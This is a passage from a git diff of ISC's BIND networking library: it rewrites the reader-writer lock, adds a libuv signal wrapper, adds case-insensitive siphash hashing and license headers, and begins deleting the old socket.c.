+isc_rwlock_rdunlock(isc_rwlock_t *rwl) {
+	read_indicator_depart(rwl);
+	LIBISC_RWLOCK_RDUNLOCK(rwl);
 }
 
 isc_result_t
-isc_rwlock_trylock(isc_rwlock_t *rwl, isc_rwlocktype_t type) {
-	int32_t cntflag;
+isc_rwlock_tryupgrade(isc_rwlock_t *rwl) {
+	/* Write Barriers has been raised */
+	if (writers_barrier_israised(rwl)) {
+		LIBISC_RWLOCK_TRYUPGRADE(rwl, ISC_R_LOCKBUSY);
+		return (ISC_R_LOCKBUSY);
+	}
 
-	REQUIRE(VALID_RWLOCK(rwl));
+	/* Try to acquire the write-lock */
+	if (!writers_lock_acquire(rwl)) {
+		LIBISC_RWLOCK_TRYUPGRADE(rwl, ISC_R_LOCKBUSY);
+		return (ISC_R_LOCKBUSY);
+	}
 
-#ifdef ISC_RWLOCK_TRACE
-	print_lock("prelock", rwl, type);
-#endif /* ifdef ISC_RWLOCK_TRACE */
+	/* Unlock the read-lock */
+	read_indicator_depart(rwl);
 
-	if (type == isc_rwlocktype_read) {
-		/* If a writer is waiting or working, we fail. */
-		if (atomic_load_acquire(&rwl->write_requests) !=
-		    atomic_load_acquire(&rwl->write_completions))
-		{
-			return (ISC_R_LOCKBUSY);
-		}
+	if (!read_indicator_isempty(rwl)) {
+		/* Re-acquire the read-lock back */
+		read_indicator_arrive(rwl);
 
-		/* Otherwise, be ready for reading. */
-		cntflag = atomic_fetch_add_release(&rwl->cnt_and_flag,
-						   READER_INCR);
-		if ((cntflag & WRITER_ACTIVE) != 0) {
-			/*
-			 * A writer is working.  We lose, and cancel the read
-			 * request.
-			 */
-			cntflag = atomic_fetch_sub_release(&rwl->cnt_and_flag,
-							   READER_INCR);
-			/*
-			 * If no other readers are waiting and we've suspended
-			 * new writers in this short period, wake them up.
-			 */
-			if (cntflag == READER_INCR &&
-			    atomic_load_acquire(&rwl->write_completions) !=
-				    atomic_load_acquire(&rwl->write_requests))
-			{
-				LOCK(&rwl->lock);
-				BROADCAST(&rwl->writeable);
-				UNLOCK(&rwl->lock);
-			}
+		/* Unlock the write-lock */
+		writers_lock_release(rwl);
+		LIBISC_RWLOCK_TRYUPGRADE(rwl, ISC_R_LOCKBUSY);
+		return (ISC_R_LOCKBUSY);
+	}
+	LIBISC_RWLOCK_TRYUPGRADE(rwl, ISC_R_SUCCESS);
+	return (ISC_R_SUCCESS);
+}
 
-			return (ISC_R_LOCKBUSY);
-		}
-	} else {
-		/* Try locking without entering the waiting queue. */
-		int_fast32_t zero = 0;
-		if (!atomic_compare_exchange_strong_acq_rel(
-			    &rwl->cnt_and_flag, &zero, WRITER_ACTIVE))
-		{
-			return (ISC_R_LOCKBUSY);
+static void
+read_indicator_wait_until_empty(isc_rwlock_t *rwl) {
+	/* Write-lock was acquired, now wait for running Readers to finish */
+	while (true) {
+		if (read_indicator_isempty(rwl)) {
+			break;
 		}
+		isc_pause();
+	}
+}
+
+void
+isc_rwlock_wrlock(isc_rwlock_t *rwl) {
+	LIBISC_RWLOCK_WRLOCK_REQ(rwl);
 
-		/*
-		 * XXXJT: jump into the queue, possibly breaking the writer
-		 * order.
-		 */
-		atomic_fetch_sub_release(&rwl->write_completions, 1);
-		atomic_fetch_add_release(&rwl->write_granted, 1);
+	/* Write Barriers has been raised, wait */
+	while (writers_barrier_israised(rwl)) {
+		isc_pause();
 	}
 
-#ifdef ISC_RWLOCK_TRACE
-	print_lock("postlock", rwl, type);
-#endif /* ifdef ISC_RWLOCK_TRACE */
+	/* Try to acquire the write-lock */
+	while (!writers_lock_acquire(rwl)) {
+		isc_pause();
+	}
 
-	return (ISC_R_SUCCESS);
+	read_indicator_wait_until_empty(rwl);
+
+	LIBISC_RWLOCK_WRLOCK_ACQ(rwl);
+}
+
+void
+isc_rwlock_wrunlock(isc_rwlock_t *rwl) {
+	writers_lock_release(rwl);
+	LIBISC_RWLOCK_WRUNLOCK(rwl);
 }
 
 isc_result_t
-isc_rwlock_tryupgrade(isc_rwlock_t *rwl) {
-	REQUIRE(VALID_RWLOCK(rwl));
-
-	int_fast32_t reader_incr = READER_INCR;
-
-	/* Try to acquire write access. */
-	atomic_compare_exchange_strong_acq_rel(&rwl->cnt_and_flag, &reader_incr,
-					       WRITER_ACTIVE);
-	/*
-	 * There must have been no writer, and there must have
-	 * been at least one reader.
-	 */
-	INSIST((reader_incr & WRITER_ACTIVE) == 0 &&
-	       (reader_incr & ~WRITER_ACTIVE) != 0);
-
-	if (reader_incr == READER_INCR) {
-		/*
-		 * We are the only reader and have been upgraded.
-		 * Now jump into the head of the writer waiting queue.
-		 */
-		atomic_fetch_sub_release(&rwl->write_completions, 1);
-	} else {
+isc_rwlock_trywrlock(isc_rwlock_t *rwl) {
+	/* Write Barriers has been raised */
+	if (writers_barrier_israised(rwl)) {
+		LIBISC_RWLOCK_TRYWRLOCK(rwl, ISC_R_LOCKBUSY);
 		return (ISC_R_LOCKBUSY);
 	}
 
+	/* Try to acquire the write-lock */
+	if (!writers_lock_acquire(rwl)) {
+		LIBISC_RWLOCK_TRYWRLOCK(rwl, ISC_R_LOCKBUSY);
+		return (ISC_R_LOCKBUSY);
+	}
+
+	if (!read_indicator_isempty(rwl)) {
+		/* Unlock the write-lock */
+		writers_lock_release(rwl);
+
+		LIBISC_RWLOCK_TRYWRLOCK(rwl, ISC_R_LOCKBUSY);
+		return (ISC_R_LOCKBUSY);
+	}
+
+	LIBISC_RWLOCK_TRYWRLOCK(rwl, ISC_R_SUCCESS);
 	return (ISC_R_SUCCESS);
 }
 
 void
 isc_rwlock_downgrade(isc_rwlock_t *rwl) {
-	int32_t prev_readers;
-
-	REQUIRE(VALID_RWLOCK(rwl));
-
-	/* Become an active reader. */
-	prev_readers = atomic_fetch_add_release(&rwl->cnt_and_flag,
-						READER_INCR);
-	/* We must have been a writer. */
-	INSIST((prev_readers & WRITER_ACTIVE) != 0);
+	read_indicator_arrive(rwl);
 
-	/* Complete write */
-	atomic_fetch_sub_release(&rwl->cnt_and_flag, WRITER_ACTIVE);
-	atomic_fetch_add_release(&rwl->write_completions, 1);
+	writers_lock_release(rwl);
 
-	/* Resume other readers */
-	LOCK(&rwl->lock);
-	if (rwl->readers_waiting > 0) {
-		BROADCAST(&rwl->readable);
-	}
-	UNLOCK(&rwl->lock);
+	LIBISC_RWLOCK_DOWNGRADE(rwl);
 }
 
-isc_result_t
-isc_rwlock_unlock(isc_rwlock_t *rwl, isc_rwlocktype_t type) {
-	int32_t prev_cnt;
-
-	REQUIRE(VALID_RWLOCK(rwl));
-
-#ifdef ISC_RWLOCK_TRACE
-	print_lock("preunlock", rwl, type);
-#endif /* ifdef ISC_RWLOCK_TRACE */
-
-	if (type == isc_rwlocktype_read) {
-		prev_cnt = atomic_fetch_sub_release(&rwl->cnt_and_flag,
-						    READER_INCR);
-		/*
-		 * If we're the last reader and any writers are waiting, wake
-		 * them up.  We need to wake up all of them to ensure the
-		 * FIFO order.
-		 */
-		if (prev_cnt == READER_INCR &&
-		    atomic_load_acquire(&rwl->write_completions) !=
-			    atomic_load_acquire(&rwl->write_requests))
-		{
-			LOCK(&rwl->lock);
-			BROADCAST(&rwl->writeable);
-			UNLOCK(&rwl->lock);
-		}
-	} else {
-		bool wakeup_writers = true;
-
-		/*
-		 * Reset the flag, and (implicitly) tell other writers
-		 * we are done.
-		 */
-		atomic_fetch_sub_release(&rwl->cnt_and_flag, WRITER_ACTIVE);
-		atomic_fetch_add_release(&rwl->write_completions, 1);
-
-		if ((atomic_load_acquire(&rwl->write_granted) >=
-		     rwl->write_quota) ||
-		    (atomic_load_acquire(&rwl->write_requests) ==
-		     atomic_load_acquire(&rwl->write_completions)) ||
-		    (atomic_load_acquire(&rwl->cnt_and_flag) & ~WRITER_ACTIVE))
-		{
-			/*
-			 * We have passed the write quota, no writer is
-			 * waiting, or some readers are almost ready, pending
-			 * possible writers.  Note that the last case can
-			 * happen even if write_requests != write_completions
-			 * (which means a new writer in the queue), so we need
-			 * to catch the case explicitly.
-			 */
-			LOCK(&rwl->lock);
-			if (rwl->readers_waiting > 0) {
-				wakeup_writers = false;
-				BROADCAST(&rwl->readable);
-			}
-			UNLOCK(&rwl->lock);
-		}
-
-		if ((atomic_load_acquire(&rwl->write_requests) !=
-		     atomic_load_acquire(&rwl->write_completions)) &&
-		    wakeup_writers)
-		{
-			LOCK(&rwl->lock);
-			BROADCAST(&rwl->writeable);
-			UNLOCK(&rwl->lock);
-		}
-	}
+void
+isc_rwlock_init(isc_rwlock_t *rwl) {
+	REQUIRE(rwl != NULL);
 
-#ifdef ISC_RWLOCK_TRACE
-	print_lock("postunlock", rwl, type);
-#endif /* ifdef ISC_RWLOCK_TRACE */
+	atomic_init(&rwl->writers_lock, ISC_RWLOCK_UNLOCKED);
+	atomic_init(&rwl->writers_barrier, 0);
+	atomic_init(&rwl->readers_ingress, 0);
+	atomic_init(&rwl->readers_egress, 0);
+	LIBISC_RWLOCK_INIT(rwl);
+}
 
-	return (ISC_R_SUCCESS);
+void
+isc_rwlock_destroy(isc_rwlock_t *rwl) {
+	LIBISC_RWLOCK_DESTROY(rwl);
+	/* Check whether write lock has been unlocked */
+	REQUIRE(atomic_load(&rwl->writers_lock) == ISC_RWLOCK_UNLOCKED);
+	REQUIRE(read_indicator_isempty(rwl));
 }
 
-#endif /* USE_PTHREAD_RWLOCK */
+void
+isc_rwlock_setworkers(uint16_t workers) {
+	atomic_store(&isc__crwlock_workers, workers);
+}
diff --git a/lib/isc/safe.c b/lib/isc/safe.c
index 1943f9ac22..988034dfbe 100644
--- a/lib/isc/safe.c
+++ b/lib/isc/safe.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/serial.c b/lib/isc/serial.c
index 6b946a471e..5ede64bdc0 100644
--- a/lib/isc/serial.c
+++ b/lib/isc/serial.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/signal.c b/lib/isc/signal.c
new file mode 100644
index 0000000000..5181f15af1
--- /dev/null
+++ b/lib/isc/signal.c
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdlib.h>
+
+#include <isc/loop.h>
+#include <isc/signal.h>
+#include <isc/uv.h>
+
+#include "loop_p.h"
+
+isc_signal_t *
+isc_signal_new(isc_loopmgr_t *loopmgr, isc_signal_cb cb, void *cbarg,
+	       int signum) {
+	isc_loop_t *loop = NULL;
+	isc_signal_t *signal = NULL;
+	int r;
+
+	loop = DEFAULT_LOOP(loopmgr);
+
+	signal = isc_mem_get(isc_loop_getmctx(loop), sizeof(*signal));
+	*signal = (isc_signal_t){
+		.magic = SIGNAL_MAGIC,
+		.cb = cb,
+		.cbarg = cbarg,
+		.signum = signum,
+	};
+
+	isc_loop_attach(loop, &signal->loop);
+
+	r = uv_signal_init(&loop->loop, &signal->signal);
+	UV_RUNTIME_CHECK(uv_signal_init, r);
+
+	uv_handle_set_data((uv_handle_t *)&signal->signal, signal);
+
+	return (signal);
+}
+
+static void
+isc__signal_destroy_cb(uv_handle_t *handle) {
+	isc_signal_t *signal = uv_handle_get_data(handle);
+	isc_loop_t *loop = NULL;
+
+	REQUIRE(VALID_SIGNAL(signal));
+
+	loop = signal->loop;
+	isc_mem_put(loop->mctx, signal, sizeof(*signal));
+	isc_loop_detach(&loop);
+}
+
+void
+isc_signal_destroy(isc_signal_t **signalp) {
+	isc_signal_t *signal = NULL;
+
+	REQUIRE(signalp != NULL);
+	REQUIRE(VALID_SIGNAL(*signalp));
+
+	signal = *signalp;
+	*signalp = NULL;
+
+	uv_close((uv_handle_t *)&signal->signal, isc__signal_destroy_cb);
+}
+
+void
+isc_signal_stop(isc_signal_t *signal) {
+	int r;
+
+	REQUIRE(VALID_SIGNAL(signal));
+	r = uv_signal_stop(&signal->signal);
+	UV_RUNTIME_CHECK(uv_signal_stop, r);
+}
+
+static void
+isc__signal_cb(uv_signal_t *handle, int signum) {
+	isc_signal_t *signal = uv_handle_get_data((uv_handle_t *)handle);
+
+	REQUIRE(VALID_SIGNAL(signal));
+	REQUIRE(signum == signal->signum);
+
+	signal->cb(signal->cbarg, signum);
+}
+
+void
+isc_signal_start(isc_signal_t *signal) {
+	int r;
+
+	REQUIRE(VALID_SIGNAL(signal));
+	r = uv_signal_start(&signal->signal, isc__signal_cb, signal->signum);
+	UV_RUNTIME_CHECK(uv_signal_start, r);
+}
diff --git a/lib/isc/siphash.c b/lib/isc/siphash.c
index 789942de2c..ce24a6229f 100644
--- a/lib/isc/siphash.c
+++ b/lib/isc/siphash.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,6 +15,7 @@
 #include <string.h>
 #include <unistd.h>
 
+#include <isc/ascii.h>
 #include <isc/endian.h>
 #include <isc/siphash.h>
 #include <isc/util.h>
@@ -64,34 +67,21 @@
 
 #define HALFSIPROUND FULL_ROUND32
 
-#define U32TO8_LE(p, v)                \
-	(p)[0] = (uint8_t)((v));       \
-	(p)[1] = (uint8_t)((v) >> 8);  \
-	(p)[2] = (uint8_t)((v) >> 16); \
-	(p)[3] = (uint8_t)((v) >> 24);
-
-#define U8TO32_LE(p)                                        \
-	(((uint32_t)((p)[0])) | ((uint32_t)((p)[1]) << 8) | \
-	 ((uint32_t)((p)[2]) << 16) | ((uint32_t)((p)[3]) << 24))
-
-#define U64TO8_LE(p, v)                  \
-	U32TO8_LE((p), (uint32_t)((v))); \
-	U32TO8_LE((p) + 4, (uint32_t)((v) >> 32));
+#define U8TO32_ONE(case_sensitive, byte) \
+	(uint32_t)(case_sensitive ? byte : isc__ascii_tolower1(byte))
 
-#define U8TO64_LE(p)                                               \
-	(((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) |        \
-	 ((uint64_t)((p)[2]) << 16) | ((uint64_t)((p)[3]) << 24) | \
-	 ((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) | \
-	 ((uint64_t)((p)[6]) << 48) | ((uint64_t)((p)[7]) << 56))
+#define U8TO64_ONE(case_sensitive, byte) \
+	(uint64_t)(case_sensitive ? byte : isc__ascii_tolower1(byte))
 
 void
 isc_siphash24(const uint8_t *k, const uint8_t *in, const size_t inlen,
-	      uint8_t *out) {
+	      bool case_sensitive, uint8_t *out) {
 	REQUIRE(k != NULL);
 	REQUIRE(out != NULL);
+	REQUIRE(inlen == 0 || in != NULL);
 
-	uint64_t k0 = U8TO64_LE(k);
-	uint64_t k1 = U8TO64_LE(k + 8);
+	uint64_t k0 = ISC_U8TO64_LE(k);
+	uint64_t k1 = ISC_U8TO64_LE(k + 8);
 
 	uint64_t v0 = UINT64_C(0x736f6d6570736575) ^ k0;
 	uint64_t v1 = UINT64_C(0x646f72616e646f6d) ^ k1;
@@ -100,48 +90,52 @@ isc_siphash24(const uint8_t *k, const uint8_t *in, const size_t inlen,
 
 	uint64_t b = ((uint64_t)inlen) << 56;
 
-	const uint8_t *end = in + inlen - (inlen % sizeof(uint64_t));
-	const size_t left = inlen & 7;
+	if (in != NULL && inlen != 0) {
+		const uint8_t *end = in + inlen - (inlen % sizeof(uint64_t));
+		const size_t left = inlen & 7;
 
-	for (; in != end; in += 8) {
-		uint64_t m = U8TO64_LE(in);
+		for (; in != end; in += 8) {
+			uint64_t m =
+				case_sensitive
+					? ISC_U8TO64_LE(in)
+					: isc_ascii_tolower8(ISC_U8TO64_LE(in));
 
-		v3 ^= m;
+			v3 ^= m;
 
-		for (size_t i = 0; i < cROUNDS; ++i) {
-			SIPROUND(v0, v1, v2, v3);
-		}
+			for (size_t i = 0; i < cROUNDS; ++i) {
+				SIPROUND(v0, v1, v2, v3);
+			}
 
-		v0 ^= m;
-	}
+			v0 ^= m;
+		}
 
-	switch (left) {
-	case 7:
-		b |= ((uint64_t)in[6]) << 48;
-	/* FALLTHROUGH */
-	case 6:
-		b |= ((uint64_t)in[5]) << 40;
-	/* FALLTHROUGH */
-	case 5:
-		b |= ((uint64_t)in[4]) << 32;
-	/* FALLTHROUGH */
-	case 4:
-		b |= ((uint64_t)in[3]) << 24;
-	/* FALLTHROUGH */
-	case 3:
-		b |= ((uint64_t)in[2]) << 16;
-	/* FALLTHROUGH */
-	case 2:
-		b |= ((uint64_t)in[1]) << 8;
-	/* FALLTHROUGH */
-	case 1:
-		b |= ((uint64_t)in[0]);
-	/* FALLTHROUGH */
-	case 0:
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		switch (left) {
+		case 7:
+			b |= U8TO64_ONE(case_sensitive, in[6]) << 48;
+			FALLTHROUGH;
+		case 6:
+			b |= U8TO64_ONE(case_sensitive, in[5]) << 40;
+			FALLTHROUGH;
+		case 5:
+			b |= U8TO64_ONE(case_sensitive, in[4]) << 32;
+			FALLTHROUGH;
+		case 4:
+			b |= U8TO64_ONE(case_sensitive, in[3]) << 24;
+			FALLTHROUGH;
+		case 3:
+			b |= U8TO64_ONE(case_sensitive, in[2]) << 16;
+			FALLTHROUGH;
+		case 2:
+			b |= U8TO64_ONE(case_sensitive, in[1]) << 8;
+			FALLTHROUGH;
+		case 1:
+			b |= U8TO64_ONE(case_sensitive, in[0]);
+			FALLTHROUGH;
+		case 0:
+			break;
+		default:
+			UNREACHABLE();
+		}
 	}
 
 	v3 ^= b;
@@ -160,17 +154,18 @@ isc_siphash24(const uint8_t *k, const uint8_t *in, const size_t inlen,
 
 	b = v0 ^ v1 ^ v2 ^ v3;
 
-	U64TO8_LE(out, b);
+	ISC_U64TO8_LE(out, b);
 }
 
 void
 isc_halfsiphash24(const uint8_t *k, const uint8_t *in, const size_t inlen,
-		  uint8_t *out) {
+		  bool case_sensitive, uint8_t *out) {
 	REQUIRE(k != NULL);
 	REQUIRE(out != NULL);
+	REQUIRE(inlen == 0 || in != NULL);
 
-	uint32_t k0 = U8TO32_LE(k);
-	uint32_t k1 = U8TO32_LE(k + 4);
+	uint32_t k0 = ISC_U8TO32_LE(k);
+	uint32_t k1 = ISC_U8TO32_LE(k + 4);
 
 	uint32_t v0 = UINT32_C(0x00000000) ^ k0;
 	uint32_t v1 = UINT32_C(0x00000000) ^ k1;
@@ -179,35 +174,40 @@ isc_halfsiphash24(const uint8_t *k, const uint8_t *in, const size_t inlen,
 
 	uint32_t b = ((uint32_t)inlen) << 24;
 
-	const uint8_t *end = in + inlen - (inlen % sizeof(uint32_t));
-	const int left = inlen & 3;
+	if (in != NULL && inlen != 0) {
+		const uint8_t *end = in + inlen - (inlen % sizeof(uint32_t));
+		const int left = inlen & 3;
 
-	for (; in != end; in += 4) {
-		uint32_t m = U8TO32_LE(in);
-		v3 ^= m;
+		for (; in != end; in += 4) {
+			uint32_t m =
+				case_sensitive
+					? ISC_U8TO32_LE(in)
+					: isc_ascii_tolower4(ISC_U8TO32_LE(in));
 
-		for (size_t i = 0; i < cROUNDS; ++i) {
-			HALFSIPROUND(v0, v1, v2, v3);
-		}
+			v3 ^= m;
 
-		v0 ^= m;
-	}
+			for (size_t i = 0; i < cROUNDS; ++i) {
+				HALFSIPROUND(v0, v1, v2, v3);
+			}
 
-	switch (left) {
-	case 3:
-		b |= ((uint32_t)in[2]) << 16;
-	/* FALLTHROUGH */
-	case 2:
-		b |= ((uint32_t)in[1]) << 8;
-	/* FALLTHROUGH */
-	case 1:
-		b |= ((uint32_t)in[0]);
-	/* FALLTHROUGH */
-	case 0:
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+			v0 ^= m;
+		}
+
+		switch (left) {
+		case 3:
+			b |= U8TO32_ONE(case_sensitive, in[2]) << 16;
+			FALLTHROUGH;
+		case 2:
+			b |= U8TO32_ONE(case_sensitive, in[1]) << 8;
+			FALLTHROUGH;
+		case 1:
+			b |= U8TO32_ONE(case_sensitive, in[0]);
+			FALLTHROUGH;
+		case 0:
+			break;
+		default:
+			UNREACHABLE();
+		}
 	}
 
 	v3 ^= b;
@@ -225,5 +225,5 @@ isc_halfsiphash24(const uint8_t *k, const uint8_t *in, const size_t inlen,
 	}
 
 	b = v1 ^ v3;
-	U32TO8_LE(out, b);
+	ISC_U32TO8_LE(out, b);
 }
diff --git a/lib/isc/sockaddr.c b/lib/isc/sockaddr.c
index 6541af72f2..512f08bdee 100644
--- a/lib/isc/sockaddr.c
+++ b/lib/isc/sockaddr.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,13 +13,13 @@
 
 /*! \file */
 
+#include <netdb.h>
 #include <stdbool.h>
 #include <stdio.h>
 
 #include <isc/buffer.h>
 #include <isc/hash.h>
 #include <isc/netaddr.h>
-#include <isc/print.h>
 #include <isc/region.h>
 #include <isc/sockaddr.h>
 #include <isc/string.h>
@@ -232,8 +234,7 @@ isc_sockaddr_hash(const isc_sockaddr_t *sockaddr, bool address_only) {
 		p = ntohs(sockaddr->type.sin6.sin6_port);
 		break;
 	default:
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "unknown address family: %d",
+		UNEXPECTED_ERROR("unknown address family: %d",
 				 (int)sockaddr->type.sa.sa_family);
 		s = (const unsigned char *)&sockaddr->type;
 		length = sockaddr->length;
@@ -293,8 +294,7 @@ isc_sockaddr_anyofpf(isc_sockaddr_t *sockaddr, int pf) {
 		isc_sockaddr_any6(sockaddr);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -340,7 +340,7 @@ isc_sockaddr_pf(const isc_sockaddr_t *sockaddr) {
 	case AF_INET6:
 		return (PF_INET6);
 	default:
-		FATAL_ERROR(__FILE__, __LINE__, "unknown address family: %d",
+		FATAL_ERROR("unknown address family: %d",
 			    (int)sockaddr->type.sa.sa_family);
 	}
 #endif /* if (AF_INET == PF_INET && AF_INET6 == PF_INET6) */
@@ -364,8 +364,7 @@ isc_sockaddr_fromnetaddr(isc_sockaddr_t *sockaddr, const isc_netaddr_t *na,
 		sockaddr->type.sin6.sin6_port = htons(port);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	ISC_LINK_INIT(sockaddr, link);
 }
@@ -380,7 +379,7 @@ isc_sockaddr_setport(isc_sockaddr_t *sockaddr, in_port_t port) {
 		sockaddr->type.sin6.sin6_port = htons(port);
 		break;
 	default:
-		FATAL_ERROR(__FILE__, __LINE__, "unknown address family: %d",
+		FATAL_ERROR("unknown address family: %d",
 			    (int)sockaddr->type.sa.sa_family);
 	}
 }
@@ -397,7 +396,7 @@ isc_sockaddr_getport(const isc_sockaddr_t *sockaddr) {
 		port = ntohs(sockaddr->type.sin6.sin6_port);
 		break;
 	default:
-		FATAL_ERROR(__FILE__, __LINE__, "unknown address family: %d",
+		FATAL_ERROR("unknown address family: %d",
 			    (int)sockaddr->type.sa.sa_family);
 	}
 
@@ -492,9 +491,9 @@ isc_sockaddr_fromsockaddr(isc_sockaddr_t *isa, const struct sockaddr *sa) {
 		return (ISC_R_NOTIMPLEMENTED);
 	}
 
-	memset(isa, 0, sizeof(isc_sockaddr_t));
+	*isa = (isc_sockaddr_t){ .length = length,
+				 .link = ISC_LINK_INITIALIZER };
 	memmove(isa, sa, length);
-	isa->length = length;
 
 	return (ISC_R_SUCCESS);
 }
diff --git a/lib/isc/socket.c b/lib/isc/socket.c
deleted file mode 100644
index b086a07d8a..0000000000
--- a/lib/isc/socket.c
+++ /dev/null
@@ -1,5488 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <inttypes.h>
-#include <stdbool.h>
-#include <sys/param.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#if defined(HAVE_SYS_SYSCTL_H) && !defined(__linux__)
-#include <sys/sysctl.h>
-#endif /* if defined(HAVE_SYS_SYSCTL_H) && !defined(__linux__) */
-#include <sys/time.h>
-#include <sys/uio.h>
-
-#if defined(HAVE_LINUX_NETLINK_H) && defined(HAVE_LINUX_RTNETLINK_H)
-#include <linux/netlink.h>
-#include <linux/rtnetlink.h>
-#endif /* if defined(HAVE_LINUX_NETLINK_H) && defined(HAVE_LINUX_RTNETLINK_H) \
-	*/
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <sys/un.h>
-#include <unistd.h>
-
-#include <isc/app.h>
-#include <isc/buffer.h>
-#include <isc/condition.h>
-#include <isc/formatcheck.h>
-#include <isc/list.h>
-#include <isc/log.h>
-#include <isc/mem.h>
-#include <isc/mutex.h>
-#include <isc/net.h>
-#include <isc/once.h>
-#include <isc/platform.h>
-#include <isc/print.h>
-#include <isc/refcount.h>
-#include <isc/region.h>
-#include <isc/resource.h>
-#include <isc/socket.h>
-#include <isc/stats.h>
-#include <isc/strerr.h>
-#include <isc/string.h>
-#include <isc/task.h>
-#include <isc/thread.h>
-#include <isc/util.h>
-
-#ifdef HAVE_KQUEUE
-#include <sys/event.h>
-#endif /* ifdef HAVE_KQUEUE */
-#ifdef HAVE_EPOLL_CREATE1
-#include <sys/epoll.h>
-#endif /* ifdef HAVE_EPOLL_CREATE1 */
-#if defined(HAVE_SYS_DEVPOLL_H)
-#include <sys/devpoll.h>
-#elif defined(HAVE_DEVPOLL_H)
-#include <devpoll.h>
-#endif /* if defined(HAVE_SYS_DEVPOLL_H) */
-
-#include <netinet/tcp.h>
-
-#include "errno2result.h"
-#include "socket_p.h"
-
-#ifdef ENABLE_TCP_FASTOPEN
-#include <netinet/tcp.h>
-#endif /* ifdef ENABLE_TCP_FASTOPEN */
-
-#ifdef HAVE_JSON_C
-#include <json_object.h>
-#endif /* HAVE_JSON_C */
-
-#ifdef HAVE_LIBXML2
-#include <libxml/xmlwriter.h>
-#define ISC_XMLCHAR (const xmlChar *)
-#endif /* HAVE_LIBXML2 */
-
-/*%
- * Choose the most preferable multiplex method.
- */
-#if defined(HAVE_KQUEUE)
-#define USE_KQUEUE
-#elif defined(HAVE_EPOLL_CREATE1)
-#define USE_EPOLL
-#elif defined(HAVE_SYS_DEVPOLL_H) || defined(HAVE_DEVPOLL_H)
-#define USE_DEVPOLL
-typedef struct {
-	unsigned int want_read : 1, want_write : 1;
-} pollinfo_t;
-#else /* if defined(HAVE_KQUEUE) */
-#define USE_SELECT
-#endif /* HAVE_KQUEUE */
-
-/*
- * Set by the -T dscp option on the command line. If set to a value
- * other than -1, we check to make sure DSCP values match it, and
- * assert if not.
- */
-int isc_dscp_check_value = -1;
-
-/*%
- * Maximum number of allowable open sockets.  This is also the maximum
- * allowable socket file descriptor.
- *
- * Care should be taken before modifying this value for select():
- * The API standard doesn't ensure select() accept more than (the system default
- * of) FD_SETSIZE descriptors, and the default size should in fact be fine in
- * the vast majority of cases.  This constant should therefore be increased only
- * when absolutely necessary and possible, i.e., the server is exhausting all
- * available file descriptors (up to FD_SETSIZE) and the select() function
- * and FD_xxx macros support larger values than FD_SETSIZE (which may not
- * always by true, but we keep using some of them to ensure as much
- * portability as possible).  Note also that overall server performance
- * may be rather worsened with a larger value of this constant due to
- * inherent scalability problems of select().
- *
- * As a special note, this value shouldn't have to be touched if
- * this is a build for an authoritative only DNS server.
- */
-#ifndef ISC_SOCKET_MAXSOCKETS
-#if defined(USE_KQUEUE) || defined(USE_EPOLL) || defined(USE_DEVPOLL)
-#ifdef TUNE_LARGE
-#define ISC_SOCKET_MAXSOCKETS 21000
-#else /* ifdef TUNE_LARGE */
-#define ISC_SOCKET_MAXSOCKETS 4096
-#endif /* TUNE_LARGE */
-#elif defined(USE_SELECT)
-#define ISC_SOCKET_MAXSOCKETS FD_SETSIZE
-#endif /* USE_KQUEUE... */
-#endif /* ISC_SOCKET_MAXSOCKETS */
-
-#ifdef USE_SELECT
-/*%
- * Mac OS X needs a special definition to support larger values in select().
- * We always define this because a larger value can be specified run-time.
- */
-#ifdef __APPLE__
-#define _DARWIN_UNLIMITED_SELECT
-#endif /* __APPLE__ */
-#endif /* USE_SELECT */
-
-#ifdef ISC_SOCKET_USE_POLLWATCH
-/*%
